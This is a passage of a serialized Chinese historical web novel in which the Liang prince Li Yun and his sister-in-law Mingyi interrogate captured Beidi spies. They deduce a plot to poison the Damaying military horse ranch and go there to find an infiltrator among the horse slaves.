驿长大惊失色,倒也算反应快,立刻亲自上前去拦人,只是还没靠近,一柄飞刀便朝他射过来。 好在河西驿站的驿长都是武将,身手都相当不错,在飞刀刺中他胸口前,他一个漂亮转身,堪堪避开了这致命一击,只让那飞刀划伤了手臂。 眨眼睛,大堂已乱作一团,那三人趁乱飞奔出驿站门口,几个试图拦阻的驿夫也倒在他们刀下。 “什么情况?”周子炤被这突如其来的变故吓得一跳,手脚并用挪到李赟身旁。 李赟倒是一如既往面色如常,只冷眼望着一切。 一声呼哨。 三匹马从马厩飞奔而来,顷刻间三人便飞身上马。 明宜正疑惑李赟为何不阻止,却见门外几根绳索从天而降,猛得缚住三匹马的前腿。 原本扬蹄往外奔逃的马儿,嘶鸣着倒地,连带着马背上的人也被重重甩在地上。 几人身手虽然厉害,但被这猝不及防的一甩,也是半响没爬起来。 而就在他们挣扎间,几把冰冷的刀,已经架在他们脖子上。 楚飞从屋顶一跃而下,冷喝道:“将人带进来。” 与此同时,李赟已经起身:“走,上楼!” 这话是说给明宜和周子炤。 “不是,什么情况?”周子炤亦步亦趋跟着他问道。 李赟却显然没打算给他解释。 明宜拉着不明所以的白芷跟上两人,一边走一边回头瞧。 只见受伤的驿长捂着受伤的手臂迎到门口,诚惶诚恐问道:“你们……是何人?” 楚飞掏出凉王府令牌朝他示意。 驿长见状,双眼蓦地睁大,赶紧拱手作揖道:“下官拜见大人。” 楚飞一脸严肃地摆摆手,领着身后人继续往里走。 明宜收回目光的时候,恰好掠过那倒在血泊中早已断气的康大郎。 因为这段时日,已经见过太多死人,她心中并不太多触动。 她只是想,若是刚刚小凉王早些出手,此人便不会死在谍子手中。 而再早一些,康大郎的仆从也不会不明不白送命。 她当然知道他为何不出手。 因为他是小凉王,这些小恶之人的命,与探明谍子动向相比,实在微不足道。 思索间,几人已经回到楼上。 周子炤还在喋喋不休问不停,李赟始终只敷衍地嗯啊几声,及至站在自己房门口才开了尊口:“五郎,你回房!弟妹,你跟我进来!” 周子炤眨眨眼睛:“不是,为何我要回房,三娘子就能跟你进去?” 李赟道:“我要审人,你要看?” 周子炤怔了下,又梗着脖子道:“三娘子能看,我为何不能看?” “行,你们都进来!” 刚进屋片刻,三个被绑住的疏勒人便被押了进来。 楚飞狠狠踹上几人膝窝,冷喝道:“都给我跪下!” 明宜眸光微微动了动,只觉这平日里看起来憨厚的年轻人,此时狠厉得有些陌生。 唔,也不算陌生。 她想起永安园那夜的佛堂。 这一对主仆倒是都有着相似的一体两面。 正思索间,楚飞又开口:“你们手上已有三条人命,本是死罪,但如果一五一十交代身份,还能留你们一命!” 几人面面相觑,依旧是那年长之人开口,只见他一脸惶然道:“我们确实是疏勒商人,康家那两个仆从昨晚来屋中行盗,我们杀贼乃是正当,只是想着康家家大势大,怕闹大才将尸首藏起来,刚刚那康大郎欺人太甚,我这兄弟气不过一时冲动才杀了人。”说到这里,他微微顿了下,又才试探道,“不知阁下是哪位上官,还请给我们留条生路。” 楚飞冷哼:“你们也配知道我家主上是谁?” 李赟抬手打断他,睥睨般看向开口地上的人,轻描淡写道:“你想知道我是谁?” 男人望着他那双深灰色的眸子,脸上原本半真半假的惶恐,变成了真真切切的惊惧。 作为细作,最大的本事便是辨人。 他未曾见过此人,但心中却有了猜测,这个猜测让他仿佛忽然置身冰窟,从头冷到了脚。 李赟勾了勾嘴角,一字一句淡声道:“本人姓李,单名一个赟字。” 在男人因为猜测得到印证,身体猛地垮下时,他身旁两人则是惊恐地睁大眼睛,哆哆嗦嗦道:“小——小凉王——” 李赟轻笑了笑:“我知你们确实是疏勒人,想来也有苦衷,只要如实交代是受谁人指使,来甘州意欲何为?本王可以饶你们一命!” 虽是笑着,但笑意却不达眼底,甚至为那张俊美的脸更添一层寒意,分明就是阿鼻地狱里走出来的魔罗。 几人明明只是跪着没动,却已是汗如出浆。 默默旁观的明宜,第一次真正见识了小凉王的威慑力。 * 照说细作多是死士,但天底下没几个人不怕死亡。 眼下这三人脸上便写满了对死亡的惊恐,尤其是两个年轻谍子,已然是吓得止不住浑身颤抖。 其中一人忽然牙一咬,努力用腿挪动几寸,喘着粗气大声道:“凉王饶命,我什么都说,我们确实是疏勒人,早年被北狄俘虏,突涅小可汗用我们家人为质,让我们潜入河西做谍子,我们这次的……” 他还未说完,旁边那年长的疏勒人,忽然爆吼一声,用尽全力朝人扑去,一口咬在对方脖子上。 在周子炤吓得惊呼出声时,那人余下的话,也变成了痛苦的哀嚎。 楚飞和旁边侍卫反应很快,几乎是瞬间就将人拉开,但那脖子还是被咬出一个大洞,鲜血汩汩直流。 忽然的变故,吓得周子炤魂飞魄散,一边啊啊大叫一边连连后退。 明宜自然也被吓到,但还还算冷静,只是眯了眯眼睛紧紧盯着几人。 她看到流出的血并非鲜红,而带着明显的乌色。 楚飞眉头一皱:“不好,是毒药!” 原来这疏勒人齿中藏有剧毒,在他咬破对方脖子时,那毒便入了对方体内,他自己也随之吞下。 两人痛苦地倒在地上,只抽搐片刻便断了气。 楚飞反应过来,忙去阻止剩下一人,但还是晚了一步,在他伸手掐住对方下颌时,那人口中已然渗出了乌黑的血。 “王爷——”楚飞一脸挫败地看向李赟。 刚刚的混乱,并未让李赟脸色有任何波动,只是眉头轻蹙,冷眼看着地上断气的三人,淡声吩咐:“搜身!” 楚飞忙拱手应“诺”。 周子炤靠墙抱着头一脸痛心疾首叫道:“表兄,我错了,我不该跟进来的!” 说着又想到什么似的看向明宜:“三娘子,咱们赶紧回自己房,可别待在这里,太吓人了!” 明宜没出声,只是默默看着地上那三具面目狰狞的尸首。 李赟抬眸在她脸上扫了眼,又看向周子炤:“五郎你回去,弟妹留下。” “啊?”周子炤不明所以。 李赟淡声:“别忘了三娘是译人,这疏勒人身上的东西,我需要她帮忙瞧一瞧。” 周子炤见明宜神色淡定,喉咙滑动了下,轻咳一声:“那我也不走了。” 明宜轻笑了笑,将目光从那尸身上挪开,对上李赟的双眸。 “刚刚这人说他们是突涅小可汗的人?那突涅小可汗可是北狄大汗的二子?” 李赟点头:“北狄大汗共有五个儿子,除了太子和次子突涅小可汗,其他三个尚且年幼,如今大汗病弱,两个儿子为争夺可汗之位斗得很厉害,都急于立功。” 明宜道:“那鲁刺儿是北狄太子的人?” “不错。” 明宜点点头:“所以北狄潜入河西的人马,乃是分别来自两个小可汗麾下,双方甚至还有利益冲突。” 李赟轻笑:“应是如此。” 一旁的周子炤嗤笑道:“看来北狄王族与我们大宁皇室也没区别,为了权力,同室操戈,打得头破血流,只怕常年夜不能寐,还是我这样的闲散皇子好啊,自由自在,衣食无忧。” 他语气带了几分戏谑,但明宜却是深以为然,京城中几位皇子的矛盾已是闹得满城皆知。 她看向李赟,对方显然对谁当皇帝并不在意,只蹙眉道:“当务之急,是搞清楚这几人潜入甘州意欲何为?” “王爷,这个好像是毒药。”楚飞从那中年疏勒人身上摸到一个小纸包,小心翼翼打开,却见是白色粉末,他试探着凑在鼻下闻了闻,“不过这味道我没闻过,不知是什么毒。” 说罢,小心翼翼放在李赟跟前。 李赟瞥了眼:“嗯,收好,回头找人看一看。” 楚飞将三人身上的物件全都掏出来,连上半身衣服都被剥开,只不过除了这包毒药,都是些碎银铜钱路引和随身匕首,和寻常商人并无区别。 不过很快他又双眼一亮,因他从那刚刚想如实交代的年轻人身上掏出一张纸笺:“咦,有一封书信。” 李赟从手上接过,扫了一眼上面的字,随手递给明宜:“弟妹看看上面写得是什么?” 明宜拿着信仔细读了一遍,道:“这是写给妻子的信,好像就是一封普通家属。”顿了下又看向李赟:“阿兄要我念吗?” 李赟点头:“嗯,念吧。” 明宜看着手中书中,略微斟酌了下,一字一句翻译。 “吾妻娜丽,离家一载,甚是想念。吾在外一切安好,你无须担心。虽不知这封信能否顺利抵达你手中,但请相信,在你收到信时,吾已完成此趟差事,带着能为你做胭脂的红蓝花,踏上与你相聚的归程。等来年春暖花开,我们便能一起牧马放羊。夫阿古。” “信末是……”明宜看着信纸下方那几行字,先是有些疑惑,继而又恍然大悟般点点头,“是一首疏勒民谣。” “什么民谣?” “说得是外出行商的丈夫,思念在家的妻子,我恰好从前听一位疏勒商人弹唱过一次。” 李赟轻笑:“听过一次,弟妹便记得?” 明宜愣了下,道:“据那疏勒商人说是古调,不过如今会的人已经不多,一些离家的疏勒人,思念爱人时便会弹唱这首曲子。我因为从未听过,又觉得好听,便记住了。” 李赟点点头,显然对轻描淡写问:“没有其他的了?” 明宜摇头。 信很简单,但她心中却有些五味杂陈,念完便不由自主看向地上那满脖黑血,面颊乌黑的年轻人。 他是细作,却也是一个等待归家与妻子团聚的丈夫,难怪他刚刚的求生意识那般强烈。 正思索间,只听李赟淡声道:“看来真只是一封普通家书。”说着扫了眼死透的三人,“他们乃是被北狄胁迫,虽是细作,却也是不得已为之,楚飞,你回头让驿长将人安葬。” 楚飞点点头:“明白。” 明宜心道原来传闻中魔罗一样的小凉王,也不全然是心狠手辣。 楚飞又蹙眉道:“王爷,这什么都没发现,也不知他们这趟差事为去作何?” 周子炤不甚在意地插嘴:“管他作何?既然人都死了,便什么也做不成。” 李赟蹙了蹙眉头:“那可不一定。” 明宜则是想到什么似的,再次低头看向手中书信,忽然双眼一睁,开口道:“我知道他们要去哪里了?” 李赟抬眸,好整以暇看向她。 明宜道:“他信中说要给妻子带回红蓝花。焉支山在坊间又被称作胭脂山,乃是因为山中盛产能做胭脂的红蓝花。” “你是说他们要去焉支山?”楚飞摸摸头不明所以道:“他们几个细作去焉支山作何?” 李赟哂笑一声,沉下脸道:“他们当然不是要去焉支山,他们是要去焉支山下的大马营。” “他们要去马场?”楚飞开始还有些疑惑,但忽然想到什么似的,看向手中装着毒药的纸包,面色骤变,“毒药!他们是要去给马场下毒?!” 大马营是河西乃至整个大宁最大的军马场,打仗一要兵二要马,军马对于作战御敌至关重要,一旦大马营马场出事,后果不堪设想。 周子炤不以为然地撇撇嘴:“这么点毒药,能毒死几匹马?” 明宜思忖片刻,道:“我听闻有种毒药,只需一点便能污染水源,马儿饮了这污秽之水便会发瘟,不过这也只是传闻,不知真假。” 李赟哂笑道:“大马营几百万亩,要找到合适的水源下毒,定是马场里的人。如果这几人真是奉命去马场下毒,这意味着马场中本身已经潜伏着细作,他们不过是去将毒药交给那人。” 明宜深以为然地点头。 楚飞倒吸一口冷气:“一匹幼马成长为能打仗的军马,至少要三年。若是大马营出了事,北狄挥兵南下,后果不堪设想。” 明宜也是听得心惊胆战,从前只是书上看来,耳朵听到,而如今战争已然就在眼前,这不是后宅争斗朝堂风雨,一旦战争开始,河西沦陷,那便是数不清的生命。 原本吊儿郎当的齐王殿下,显然也被吓到,支支吾吾问道:“表兄,我们下一站是不是就是大马营?” “嗯。”李赟点点头,冷哼一声:“若有细作潜伏马场,那就连根拔掉!” 他脸色冷沉,语气狠厉,仿佛是要去将整个马场屠杀殆尽。 屋中一时雅雀无声。 好在李赟说罢,又似想到什么似的,抬眸看向明宜,脸色的冷沉褪去悉数褪去,温文有礼道,“有劳弟妹了,此次让弟妹随行果然没错。” 他直直望着她,原本冰冷的灰眸,因浮上这淡淡笑意,忽然就像是多了几丝温度,明宜心头微微一怔,反应过来,赶紧拱手道:“我也只是猜测。” 李赟还未说话,周子炤吊儿郎当摆摆手道:“宁可信其有不可信其无嘛。” 明宜笑了笑,没说话。 李赟乜她一眼,起身道:“行,我们即刻启程!” 周子炤看了眼地上面目惨烈的细作,先是啧啧倒吸吸了两口冷气,又搓着手喜滋滋道:“我想去大马营好久了,这回终于能亲眼一见,我要挑一匹最好的马。” 李赟挑挑眉道:“你又不打仗,好马对你来说是浪费。” “你这话说的,我好歹是齐王,还配不得一匹好马了?” 李赟皮笑肉不笑看他一眼,边往外走边道:“我看你最适合驴。” 周子炤跟上去不满道:“我怎么就适合驴了?” 李赟:“懒驴……” 楚飞在后面接话:“上磨屎尿多。” 说完立刻意识到失言,赶紧捂住嘴,偷瞄了眼齐王殿下,贴着墙根溜了出去。 周子炤龇牙咧嘴瞪了眼李赟的颀长背影,又想到什么似的,转头看向明宜:“三娘子,你说表兄这嘴是不是抹了砒霜?” 明宜低低笑了声,不置可否。 “看到么?”周子炤立刻道,“三娘子也同意我的话。” 被拉下水的明宜一时语塞:“我……” 不由得有些心虚地看向已经走到门口的人。 李赟顿住脚步,回头凉飕飕看了周子炤一眼,然后又从明宜脸上轻飘飘拂过,却什么也没说,只转身施施然跨过门槛往外走去—— 作者有话说:感觉我在写一款早被时代淘汰的文。 哎呀妈,我脑洞都是些过时的玩意儿,不服老不行2333 第33章 第 32 章 我十岁就杀人,有何害怕 大马营作为大宁最大的马场, 光是战马就足有五万匹,除了供给河西军,每年还要上贡朝廷数千。 大马营牧监距离峡口驿不过四十里。 马车行至半路, 无垠草原便已跃入眼帘。 虽已入秋, 但依旧碧草丰茂,群山层峦叠嶂, 远处祁连山顶经年不化的冰川, 在蓝天之下熠熠发光。 白色毡帐点缀绿茵之间,偶尔奔腾马群穿梭, 是明宜从未见过的壮丽风景。 半个多时辰, 竟是一晃而过。 吁—— 明宜正掀着窗子看得入迷, 只觉身下猛得震动了下, 马车缓缓停靠。 她好奇掀开帘子,却见前方一座孤零零的大宅院, 显然就是大马营牧监了。 不过片刻, 院中便乌泱泱走出来一群人。 打头一人戴绯色纱罗官帽,着小窠地黄交枝纹绯色绫罗袍,草金钩腰带上挂银鱼袋, 乃是当朝五品官的装束。 此人正是大马营牧监正监安达。 安牧监膀大腰圆, 面若胡饼, 可见这牧监委实是个肥水衙门。 因此前已收到传信,说近日小凉王要来巡查,他早已准备多时,因而听到传报, 立刻整装来迎。 “臣参见凉王殿下!” 李赟下车,环顾了眼跪地的众人,抬手淡声道:“都免礼!” 他每年至少来一次马场, 牧监的人自然对这位小凉王不陌生。 安达起身笑呵呵拱手道:“不知王爷此时到,有失远迎,还请王爷见谅。王爷里面请,臣马上安排茶水膳食。” 周子炤从后面走上去,伸着懒腰道:“哎呀,赶紧去准备,颠了一路,早上用的那点膳食,都颠没了。” 安达见他衣着虽简单,但浑身贵气,举手投足闲散,不像是小凉王手下,便笑着拱手问道:“不知这位郎君是……” 李赟替周子炤道:“他是齐王殿下。” 安达一惊,赶紧诚惶诚恐道:“臣眼拙,还请齐王殿下恕罪。” 周子炤摆手笑呵呵道:“无需多礼……无需多礼……” 安达虽然面上待这位五皇子毕恭毕敬,但为官多年,皇室那点事自然清楚得很,齐王不过是个不受宠的皇子,何况这是只知凉王不知朝廷的河西,他很快便又转向李赟,恭恭敬敬伸手:“王爷,请!” 李赟转头看向后方的明宜,朝她点点头。 明宜赶紧走上前。 安达并未一眼看出她是女子,只以为是个少年郎,便又随口问:“这位郎君是?” 李赟言简意赅道:“译人。” 明宜一愣,但旋即想,自己此行确实是充当译人,这里又是衙署,译人身份比凉王府二夫人合适。 她客气地与对方揖了一礼,跟在李赟身后进了院中。 “王爷,膳食正在准备,您看有什么特意要嘱咐的,我再差人去准备。”待众人落座,安达边招呼人上茶水边笑盈盈谄媚道。 “粗茶淡饭即可。”李赟抬眸上下打量他一番,皮笑肉不笑道:“看来安牧监日子过得不错啊。” 安达笑呵呵摸了摸自己的圆盘子脸:“最近庶务繁忙,疏于骑射,是圆润了些。” 李赟道:“安大人这般忙碌,想必牧监的卷本都整理好,全部拿过来吧。” 安达微微一愣,从前小凉王来大马营,只巡查马场,从没查过卷本,他顿时有些心慌。 李赟见他这模样,嗤笑一声:“放心,我不查账本,只是查阅牧监和马场人员资料。” 安达虽然不知他意欲何为,但闻言还是松了口气,赶紧正色道:“无论是账本还是其他,王爷要查,臣都会一五一十奉上。”顿了下,又补充一句,“臣行得正坐得端……” 李赟不耐烦打断他:“行了,赶紧去拿来。” 见他脸色蓦地一沉,安达吓得立刻收了声,拱手作揖道:“臣这就去办。” 安达办事还算利落,待几人半杯茶水下肚,他已经领着主簿和差役,搬来足足十几沓卷本,每一沓足有一尺多高。 “王爷,马场所有人员都在这里。”安达堆着一脸笑道,“牧监总一百零三人,马户三百户一千七百五十二人,马奴六十人。” 李赟面色稍霁,点点头:“行,你带人出去吧,没招呼不用进来。” 安达见状,暗暗舒了口气,赶紧领着人退了出去。 待人离开后,楚飞看着桌上卷本,愁眉苦脸道:“这么多?长史主簿都不在,我们怎么看得完?” 他是个武夫,平日看字多了便头晕。 李赟皮笑肉不笑扯了下嘴角,随手拿起一份卷本展开,轻飘飘道:“你要看我还不放心。” 楚飞重重松了口气,又笑嘻嘻佯装关心道:“那王爷一个人能看完么?” 李赟眼皮也没抬一下:“有二夫人帮忙一起看。” 明宜:“……” 楚飞赶紧朝她拱手道:“那就劳烦二夫人替王爷分忧了。” 明宜干干笑了笑:“应该的。” 这时,周子炤凑过来问道:“表兄,你怎么不叫我帮忙?” 李赟看也没看他:“不敢劳烦齐王殿下。” 周子炤啧了声:“瞧你这话说的,你跟我客气作何。”说着便抄起一份卷本打开,只是刚看了一页,便无聊地直打哈欠。 好在这时有人来送膳食,他赶紧将卷本放下:“哎呀,我实在有些饿了,等用完膳再帮表兄解忧。” 这位牧监大人确实是个会来事的,对小凉王的做派,想来也摸清了个七八成。 准备的膳食一眼望去,很是寻常,称得上李赟口中的“粗茶淡饭”,但有肉有菜,做法简单,但食材上等,吃在口中,并不比山珍海味逊色。 用过“粗茶淡饭”,李赟继续查看卷本,周子炤则以消食为由,出门一去不返,还是有人来通报,说牧监大人陪齐王殿下去骑马,才让人放心金尊玉贵的五皇子不是走丢了。 屋中只有李赟和明宜在认真翻阅卷本,楚飞白芷等人都因为无所事事,坐在一旁直打瞌睡,还时不时借口出恭开溜。 日落西沉,月上柳梢。 屋内屋外都掌了灯。 门外楚飞深呼吸了口气,偷偷朝门缝里看了眼,对一旁的白芷伸了伸大拇指:“平日里王爷在府中阅折子,长史主簿都熬不过他,我还是第一次看到能与王爷势均力敌的,你家娘子真是了不得。” 不怪他感叹,从午膳后到现在,已经过去几个时辰,屋内两人埋头在卷本中,头都没抬一下。 楚飞这是第一次见到有人能与他家王爷一样,还是个女子。 白芷有些得意道:“这算甚么,我们家娘子读起书来,时常忘我,连饭都会忘记吃。” 楚飞闻言越发对明宜肃然起敬,感慨道:“难怪二夫人会那么多番语。” 白芷扬眉道:“我们家娘子可不只是会几样番语。” “楚飞——” 两人正低声细语,里面忽然传来李赟冷沉的声音。 楚飞顿时吓得脚下一个趔趄,赶紧上前推门而入。白芷也深吸一口气,拍拍胸口,默默跟了进去。 “王爷,有何吩咐?” 李赟仍旧盯着手中卷本,轻描淡写问道:“齐王呢?” 楚飞拱手道:“齐王殿下与牧监在旁边官舍吃酒。” 李赟扯了下嘴角,抬眸看向对面的女子。 明宜也是刚刚听到他出声,才蓦地反应过来自己已与李赟独处一室多时,而因为两人都沉迷手中卷本,丝毫不觉有任何不自在。 她抬起头,借着烛火,对上那双深灰色的眸子。 李赟将手中最后一只卷本阖上,淡声问:“弟妹有何发现?” 明宜迟疑了下,摇头道:“不曾。” 李赟轻笑:“弟妹如何想便如何说,不用担心说错。” 明宜思忖片刻,道:“我看卷本记录,这马场的马户在此安营扎寨至少三代,这片草原乃是养育他们的土地,因草原辽阔,鲜少与外界来往,想来也不会愿意故土遭北狄践踏。所以我以为细作应不在马户中。” 李赟若有所思点点头:“弟妹继续。” 明宜又道:“这牧监的人员,也很简单,除了两位副监是朝廷从京城委派,包括安牧监在内的人,只有两个来源,一是河西世家子弟,二是马场马户,这些人也都不太可能给北狄做细作。” 李赟挑眉道:“所以弟妹认为细作来自马奴中?” 明宜忙不迭摇头:“无凭无据,明宜不敢妄下结论。” 一旁的楚飞插嘴道:“王爷,这还不简单?马奴才几十个,全部抓起来严刑拷打一番,若是没人招,那就全部杀了。事关马场安危,宁可错杀,不可放过。” 他说得轻描淡写,仿佛不是在说几十条人命,而是说几十匹马,不对,马奴本就比马低贱太多。 明宜心惊胆战,下意识看向李赟,想看他的反应。 只见对方神色平静,显然并不觉得楚飞这话有何问题,略微思索片刻,忽然像是想到什么似的,抬眸对上明宜。 “劳累半日,弟妹可要去出去活动活动?” 明宜一愣,这才后知后觉感觉到背乏身累,她伸伸胳膊点头,轻笑道:“是该动一动。” 李赟施施然起身:“那弟妹随我来。” 明宜不熟悉这牧监,眼下身份又只是一个小小译人,自然要他带路。 不想,对方竟径直走出牧监公廨。 直到出门往右行了十余米,才知对方是要带她登上墩堠。 这座墩堠,亦是箭塔,近三丈高。 “参见王爷!” 守卫的卒役见到小凉王,赶紧诚惶诚恐作揖行礼。 李赟摆摆手,踏上台阶,走了两步又对跟在后面的楚飞几人道:“你们就守在下面。” 楚飞忙应“诺”。 明宜想了想,也低声吩咐白芷在下方等候。 到了塔上,李赟又招呼上方两个卒役退下,偌大楼台只剩他与明宜两人。 苍穹之上星河熠熠,夜空下是辽阔草原,远处点着灯的毡帐,如星子散落在夜色之中。 在房中闷了半日,忽然看到如此壮阔风景,明宜只觉心胸无比疏朗,哪还管这楼台上只有孤男寡女两人。 她张开手臂迎着草原的风,闭眼深深吸了口气,鼻息间都是青草的香味。 “以前阿玉和我说过,幼时每年都会来大马营,说马场夜晚的星河特别美,今日得见,果然与他说得一样。” 李赟走到她身旁站定,抬头望向上方星河:“嗯,以前父亲来马场巡查,都会带上我们兄弟,我与阿玉的马都是在这里学的。” 明宜点头:“我听阿玉说,他八岁那年学骑马,原本温顺的马不知怎的,忽然受惊,是一个马奴不顾自己性命救了他。” “确有此事。”李赟轻笑了笑,“那马奴因立功脱了奴籍进入牧监,只是几年后又因私自贩马入了狱。” 明宜微微一怔,下意识转头看向他。 李赟勾了勾嘴角,轻描淡写道:“当然,这已经是阿玉去京城之后的事了。低贱之人常为蝇头小利铤而走险背信弃义,时隔多年,谁也不知,当年那马奴救阿玉,是不是刻意为之?” 明宜没有再说话。 她提这件事,无非是想拐弯抹角进言,希望对方不要滥杀无辜。 但显然马奴在权倾一方的小凉王眼中,不过蝼蚁一般。 明宜没再说话,或许她的“妇人之仁”,确实不适合用在这里。 夜风拂过,带来一阵凉意,她忍不住抱起手臂。 李赟上前一步,高大身躯替她挡了大半的风,淡声道:“今日有劳弟妹了,早些回去休息吧,草场最美的景色还是白天。”说着又抬头看了看天空,“今晚繁星闪烁,想来明日是个好天气。” “嗯。”明宜点点头,又看一眼星空,转身先下了楼台。 回到牧监官舍,院中周子炤和安牧监几人正在酒酣之时。 见到李赟进来,周子炤摇摇晃晃走过来,一把揽住对方脖颈,大着舌头道:“来来来,表兄,五郎敬你一杯!” 李赟面无表情将他推开,继续往内走,却又被安达拦住。 许是醉得厉害,安达也忘了礼仪,笑呵呵道:“王爷,你可还记得臣初来牧监那年,那时王爷十三四岁,还是世子。正遇上马场出现盗马贼,我被派去追贼,哪晓得那几个盗马贼都是亡命之徒,还是王爷您当时带人跟来,臣才免遭那盗马贼毒手。”说着,兴奋地眯起双眼,一张脸顿时像是大白馒头开了两条缝,手舞足蹈地比划起来,“时隔这么多年,臣还记得王爷当年英姿,一连六箭,箭箭直中命门,六个盗马贼当场毙命。” 周子炤轻呼着跑过去:“十三四岁?我十三四岁连大弓都拉不动。” 安达笑呵呵都按:“要不咱们王爷是威震河西的小凉王!” 周子炤打了个酒嗝,又揽住李赟的脖颈:“不过话说回来,表兄你十三四就射杀这么多人,不害怕么?” 明宜望向伫立前方的李赟。 她只看得到他半边侧脸,夜灯下,那锋利的下颌如刀削一般。 李赟再次将周子炤推开,轻笑一声道:“我十岁就杀人,有何害怕?” 说着转头轻描淡写看了眼明宜,继续迈步往里走:“都别喝了,赶紧休息!” “表兄,急什么?你还没喝呢?” 周子炤大着舌头想去拦他,被安达拉住:“殿下,明晚咱们继续喝!” 明宜也跟着仆从进了自己的房间。 房门咯吱一声关上,外面还在吵吵闹闹,片刻后,又听李赟冷声的声音响起:“都去歇息!” “表兄——” “齐王殿下,咱们先去歇息,明晚再继续。” 随后,便是开门关门声,周子炤的嚷嚷变成嘟哝,渐渐湮没在夜色里。 “娘子,你说王爷不会当真将所有马奴都杀了?” 待屋中只有两人,白芷终于忍不住小声问道,刚刚听到楚飞说起,简直是心惊胆战。 她自己也是奴婢,对马奴难免同病相怜,难道只是因为怀疑,就将几十个马奴全部杀掉? 但想起关于小凉王的那些传闻,她便觉得这不是说说而已。 明宜淡声道:“睡吧,这不是我们能管的事。”顿了下又补充一句,“比起整个马场安全,几十条马奴的命不值一提。” 白芷噘噘嘴小声咕哝:“以前娘子在京城,看到乞儿也要救助的,怎么现在看到几十个马奴要死都无动于衷了?” 明宜已经在床上躺下,轻描淡写道:“因为这是河西不是京城。” * 翌日,果然是个好天气,阳光和煦,晴空万里。 在房中用过朝食,楚飞便过来请明宜出门,一同去往马奴营。 白芷先前还以为楚飞挺憨厚朴实,昨晚听到他杀马奴的提议,便对其有点五味杂陈,觉得与小凉王是一脉相承的主仆。 她小声道:“娘子,要不然我们别去了?” 明宜道:“马奴多异族,王爷定需要我在旁作译。你若是害怕,留在官舍便好。” 白芷忙道:“那哪行?哪有奴婢害怕抛下主子的?” “别总是奴婢主子的。”明宜笑着拍拍她,“走吧。” 两人一前一后出门,发觉小凉王已站在院中槐树下,他着一身玄袍,朝阳恰好落在他半边肩膀,仿若置身于半明半暗之间。 明宜朝她作了一揖:“阿兄,早!” 李赟闻声转头,深灰色眸子淡淡看向她,拱手回道:“弟妹,早!” 两人刚打完招呼,旁边一座房门也打开,周子炤摇摇晃晃走出来,约是因为宿醉,那双桃花眼略有些浮肿,脸色也并不大好,一副放纵无度的公子模样。 他看了眼院中两人,重重打了个哈欠:“表兄,听说你要把马奴都杀了?” 这还是今早刚醒来,听叶六说的,虽说他生在天家,皇宫处死奴婢乃至妃嫔,对他来说都是司空见惯,但这些事到底不会在眼皮底下,一口气杀几十个,也实在是从未有过,吓得他又狠狠睡了个回笼觉。 李赟道:“五郎是要去看吗?” “算了算了。”周子炤忙摆摆手,又看向明宜,“莫非三娘子是要去?” 明宜还未开口,李赟已经替她道:“马奴多异族,弟妹自然要与我一同前往。” 周子炤讪讪点头,有些同情地看了明宜一眼,又打了个哈欠:“那你们去,我再睡一会儿。” “表兄——”明宜却是叫住他,“能否借你玉笛一用?” 周子炤笑着点头:“当然可以,我这就去与你拿来。” 齐王殿下很快去而复返,将手中一只玉笛递给明宜:“害怕时吹吹笛子是个不错的法子。” 明宜笑着接过笛子,没说话。 一行人走出官舍,安牧监已带人在外面整装待发。 “王爷,马匹已经准备好,都是驯好的良驹。” 李赟点点头,扫了眼那一排马儿,最终走到最为矮小的一批枣红马跟前,伸手摸了摸马儿脑袋。 安达不料身高八尺的小凉王竟是挑了这一匹,先是一愣,继而又笑呵呵道:“王爷好眼光,别看这马矮小,但相当聪明矫健,跑起来一点不比其他高头大马慢,绝对配得上王爷的器宇轩昂!” 他因得知马奴中可能有北狄细作,而自己未察觉,眼下心虚得很,可谓是怎么谄媚怎么来。 李赟看白痴一样瞥了他一眼,转身朝明宜招招手:“弟妹,你看你骑这马如何?” 安达这才意识到自己马屁拍到了马腿上,赶紧打着哈哈道:“原来是侯夫人要骑,那更是再合适不过。” 虽然昨日李赟介绍自己是译人,但也并未刻意隐瞒身份,安达很快便知她并非普通译人,而是西平侯夫人。 明宜走上前,看着这匹双目灵动的马儿,不免心生欢喜,笑着点点头:“就这匹吧。” 李赟牵着辔绳,道:“你上去试试。” 因为高度适宜,明宜踩上马镫,很顺利便翻身上马。一旁的安达见小凉王亲自在旁“服侍”,猜到这位侯夫人在凉王府地位不一般,便赶紧笑呵呵拍马道:“侯夫人弓马如此娴熟,一看就是女中豪杰。” 明宜:“……” 她只是自己上马,而且还是匹矮子马,怎么就看出弓马娴熟了? 她忍不住撇了撇嘴,却见李赟抬眸朝自己瞧过来,眼神颇有几分意味深长,然后便沉声吩咐:“走吧。” 安达忙拱手应“诺”,赶紧招呼众人上马出发。 李赟随意挑了匹马,与安牧监优哉游哉并行在最前方。 明宜身下的枣红马确实是有灵性,迈着比其他马略短的壮腿,踢嗒踢嗒跟在李赟身旁。 “王爷,臣已经让人提前去马奴营,将全部马奴清点捆绑起来,依臣看,也不用一个个拷问,不如直接全部处死,以绝后患,反正马奴多得是。” 李赟不置可否,只冷笑一声。 明宜只觉得在河西,人命果真太贱,但旋即一想,长安又何尝不是? 宫闱高墙内,每天有多少人命,悄无声息消失? 只是寻常人看不到罢了。 她不动声色地抬眸去打量他,实在也瞧不出他的心思,又看向前方,只见蔚蓝天空下,碧草悠悠,牛马成群,若是没有杀戮,这美景堪称人间天堂—— 作者有话说:存稿箱自动发射 第34章 第 33 章 阿七 牧监与马奴营隔得不远, 这样优哉游哉晃过去,也不过小半个时辰的工夫。 一群衣衫褴褛的马奴,已经被捆绑着, 齐刷刷跪在毡帐旁。 两个副监看到人过来, 赶紧小跑着上前,拱手作揖。 “参见王爷, 参见正监, 六十个马奴都已在此,请王爷处置。” 明宜勒了辔绳, 默默望着那群跪在地上瑟瑟发抖的马奴, 多是异族面孔, 晒得面容黝黑, 浑身上下脏污不堪。 “弟妹,下来吧!” 明宜正怔忡着, 忽然一道声音传来, 她才发觉,李赟不知何时已经下马,正站在自己马旁, 伸手拉住辔头。 她赶紧翻身跳下来, 低声道:“有劳阿兄。” 李赟点点头, 将辔绳交给旁边的卒役,转身朝那群跪着的马奴走去。 安达赶紧跟上。 刚走近,便清了清嗓子,高声道:“想必诸位已经听说, 咱们马奴营混入了北狄细作。若是想活命,自己站出来,若是没人站出来, 所有人都要跟着赔上性命!” 众马奴一听,面面相觑,越发惶恐,然后不约而同磕头求饶。 “大人饶命!” “不是奴!” 安达见众人只磕头,却没人站出来,冷哼一声:“我倒数十声——” “十、九、八、七、六、五、四……” 就在这时,一个许是这群马奴老大的异族男子,忽然挣扎着费力指向跪在边角的一个马奴:“是阿七……肯定是阿七……” 